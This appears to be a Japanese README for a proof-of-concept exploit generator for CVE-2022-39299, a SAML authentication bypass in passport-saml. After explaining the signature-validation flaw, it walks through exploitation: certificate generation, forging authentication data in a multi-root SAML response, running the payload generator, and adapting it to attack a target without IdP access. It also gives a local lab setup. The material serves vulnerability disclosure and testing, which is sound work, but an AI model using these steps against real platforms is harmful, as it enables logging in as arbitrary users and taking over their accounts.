
アドバイザリ: https://github.com/node-saml/passport-saml/security/advisories/GHSA-m974-647v-whv7
パッチ: https://github.com/node-saml/passport-saml/commit/8b7e3f5a91c8e5ac7e890a0c90bc7491ce33155e
Base Payload Example(node-samlのテストケースから抽出): https://github.com/node-saml/node-saml/blob/c1f275c289c01921e58f5c70ce0fdbc5287e5fbe/test/static/signatures/invalid/response.root-signed.multiple-root-elements.xml
バグ発見者: felixwilhelm
エクスプロイト生成ツール作成者(簡単な部分): Francesco Lacerenza
リモートの攻撃者が、passport-samlライブラリに影響するCVE-2022-39299を悪用して、プラットフォーム上のSAML SSO認証をバイパスできる可能性があります。
公開エクスプロイトは(執筆時点では)利用できず、アドバイザリは2022年10月12日にほとんど情報なしで公開されました。 Doyensecは、テナント管理者がカスタムIdPでSAML SSOを設定できるマルチテナントプラットフォームに対して、この問題を検証するための実用的なProof of Concept(PoC)ジェネレーターを開発しました。
アドバイザリに記載されているとおり:
攻撃を成功させるには、攻撃者が任意のIdP署名済みXML要素を所持している必要があります。使用するIdPによっては、署名付きメッセージの生成がトリガー可能であれば、完全に認証されていない攻撃(つまり、有効なユーザーへのアクセスなし)も可能になる可能性があります。
脆弱性のあるチェックは、passport-saml-2.0.0/src/passport-saml/saml.ts:775 の validatePostResponse 関数内にあります。
// Check if this document has a valid top-level signature
let validSignature = false;
if (this.options.cert && this.validateSignature(xml, doc.documentElement, certs!)) {
validSignature = true;
}
特に、validateSignature は、XML文書全体の doc.documentElement に有効な署名が含まれているかをチェックします。documentElement プロパティは文書の最初のルートノードを返すため、最初のルート要素のみの署名を検証します。
関数は、XML内にアサーションが1つだけあることを確認することで続行します:
const assertions = xmlCrypto.xpath(doc, "/*[local-name()='Response']/*[local-name()='Assertion']") as HTMLElement[];
const encryptedAssertions = xmlCrypto.xpath(doc,
"/*[local-name()='Response']/*[local-name()='EncryptedAssertion']");
if (assertions.length + encryptedAssertions.length > 1) {
// There's no reason I know of that we want to handle multiple assertions, and it seems like a
// potential risk vector for signature scope issues, so treat this as an invalid signature
throw new Error('Invalid signature: multiple assertions');
}
その結果、XMLパーサーは複数のルートを持つXML文書を解析します。署名は1つのルートノードにしか適用できませんが、XPathは複数のルートノードを横断して認証および認可要素を見つけることができます。
結論として、1つのルートノードが署名され(例:汎用SAMLエラーメッセージ)、その後、別の署名されていないノードが変更可能な認証および認可情報を含む可能性があります。このようにして、攻撃者は認証情報を改ざんし、テナント内の任意のアカウントにアクセスできます。
注記: エクスプロイトの成功は、passportライブラリの使用に関連する内部認証ロジックに完全に依存します。認証ロジックが passport.authenticate(...PASSPORT-SAML_OPTIONS...) から得られる認証済みセッションオブジェクトを完全に信頼する場合、脆弱である可能性が高いです。
openssl を使用して、PoCジェネレーターフォルダー内で新しい証明書と鍵を生成します:openssl req -x509 -new -newkey rsa:2048 -nodes -subj '/C=US/ST=California/L=San Francisco/O=JankyCo/CN=Test Identity Provider' -keyout key.pem -out cert.pem -days 7300
代替として、このリポジトリ内のものを使用してください。
対象プラットフォームで、管理者としてSAML SSO統合パネルに移動します。次に、IdPからの署名を検証するために使用する証明書を、このフォルダー内のものに設定します。
payload_appendix.xml を、プラットフォームがSAML SSOユーザーを認証するために必要な認証および認可要素で構成します。そのような情報はドキュメントに記載されているか、実際のSSO統合を構築して有効な認証要素を学ぶことで見つけられます。
次のコマンドを実行して、改ざんデータを含む署名済みマルチルート要素SAMLレスポンスを生成します。
python3 payloadGenerator.py
マルチルート要素SAMLレスポンスは次の構造を持ちます:
<!— BEGINNING OF THE SIGNED ERROR MESSAGE —>
<samlp:Response xmlns="urn:oasis:names:tc:SAML:2.0:assertion" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" ID="IDVALUE" Version="2.0" IssueInstant="2022-28-08T14:38:05Z">
<samlp:Status>
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Responder">
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:NoPassive">
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:PartialLogout">
</samlp:StatusCode>
</samlp:StatusCode>
</samlp:StatusCode>
<samlp:StatusMessage>Random Error</samlp:StatusMessage>
</samlp:Status>
</samlp:Response>
<!— END OF THE SIGNED ERROR MESSAGE. BEGINNING OF THE UNSIGNED AUTHENTICATION INFO—>
<Response>
<saml:Assertion ID="whatever" IssueInstant="2022-10-30T18:00:00+00:00" Version="2.0">
<!— TAMPERED AUTHN & AUTHZ INFO —>
</saml:Assertion>
</Response>
注記: IdP設定にアクセスできない場合にこの問題を悪用したい場合は、payloadGenerator.py を変更し、最終ペイロードの構築に使用される変数 signed_base_payload_unicode を置き換えます。動作させるには、アサーションを含まない署名済みSAMLレスポンスで置き換える必要があります。ターゲットのIdPからそれを入手する方法を見つけてください(ケースバイケースのロジックが適用され、それに関する文献はありません)。
SAML SSO統合が有効な組織では、攻撃者は認証をバイパスし、テナント内の任意のユーザーでログインできる可能性があります。
アドバイザリでは攻撃者が「任意のIdP署名済みXML要素」を使用できると述べていますが、passport-samlライブラリは複数のアサーションを含むXMLメッセージを防ぎます(説明セクションのコードスニペットを参照)。この制限により、攻撃者はエラーメッセージのようにアサーションを含まない署名済みSAMLメッセージを入手する必要があります。そのようなメッセージの存在はIdPの実装に依存します。
例として、アサーションを含まないSAMLレスポンスはAuth0のライブラリnode-samlpで直接サポートされています。https://github.com/auth0/node-samlp/blob/master/lib/samlp.js を参照。
function buildSamlResponse(options) {
var SAMLResponse = templates.samlresponse({
id: '_' + utils.generateUniqueID(),
instant: utils.generateInstant(),
destination: options.destination || options.audience,
inResponseTo: options.inResponseTo,
issuer: options.issuer,
samlStatusCode: options.samlStatusCode,
samlStatusMessage: options.samlStatusMessage,
assertion: options.samlAssertion || ''
});
上記の例は、Auth0テクノロジーを使用している場合でも、アサーションなしの署名付きメッセージにつながるコードパスを導入できる可能性を示しています。その意味で、顧客のIdPにはそのようなパターンが含まれている可能性があります。
攻撃者がそのようなメッセージをトリガーする方法を見つけた場合、完全に認証されていない攻撃(つまり、有効なユーザーへのアクセスなし)も可能になる可能性があります。
結論として、CVE-2022-39299に対して脆弱な、テナントごとのカスタムSAML SSO統合を許可するマルチテナントプラットフォームは、顧客のIdPがアサーションのない署名済みSAMLエラーメッセージをサポートする場合、認証バイパスを許容する可能性があります。
以下のリソースを使用してローカルでテストを実施しました:
PoCジェネレーターフォルダーでIdP署名証明書を生成
openssl req -x509 -new -newkey rsa:2048 -nodes -subj '/C=US/ST=California/L=San Francisco/O=JankyCo/CN=Test Identity Provider' -keyout idp-private-key.pem -out idp-public-cert.pem -days 7300
生成された証明書と鍵を含むフォルダーで、次のコマンドを使用してIdPを実行します
saml-idp --acsUrl http://127.0.0.1:3000/login/callback --audience https://127.0.0.1:3000/ --host 127.0.0.1
アプリがローカルIdPで動作するには追加の設定が必要です。passport-saml-example/config/config.js ファイルをIdPの情報で埋めてください。
passport: {
strategy: 'saml',
saml: {
path: '/login/callback',
entryPoint: 'http://localhost:7000/saml/sso',
issuer: 'passport-saml',
cert: 'CERT_PASTED_HERE_IN_ONE_LINE_FROM_PREVIOUS_STEP'
}
}
また、package.json を編集して脆弱なバージョンのpassportを使用する必要があります。可能であれば、必要なすべてのバージョンをターゲットのコードベースから抽出してください。準備ができたら、アプリケーションを起動します:
npm install
npm start